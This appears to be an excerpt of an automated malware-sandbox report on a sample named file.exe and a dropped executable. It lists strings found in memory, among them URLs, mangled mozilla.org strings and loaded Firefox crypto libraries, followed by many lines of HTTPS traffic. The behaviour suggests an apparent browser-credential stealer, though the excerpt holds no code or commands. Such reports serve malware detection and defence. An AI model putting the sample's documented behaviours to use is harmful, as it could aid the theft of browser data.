Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.2468178197.0000000023A6D000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465606498.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3465179314.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449202665.0000000005559000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3449082697.0000000005571000.00000004.00000800.00020000.00000000.sdmp, KFCFBAAE.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6b956c39-9457-4965-889c-e715a21f740c.tmp.10.dr, f65874b2-aec3-4815-9b5d-d39871daeb01.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_450.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_450.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_450.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000001.00000002.2638559950.0000000000204000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000001.00000003.2533999033.0000000023BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000001.00000002.2638559950.0000000000204000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.2638559950.0000000000204000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2638559950.00000000002E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000002.2638559950.00000000002E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: file.exe, 00000001.00000003.2533999033.0000000023BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000001.00000002.2638559950.0000000000204000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.2666532282.0000000023AC2000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
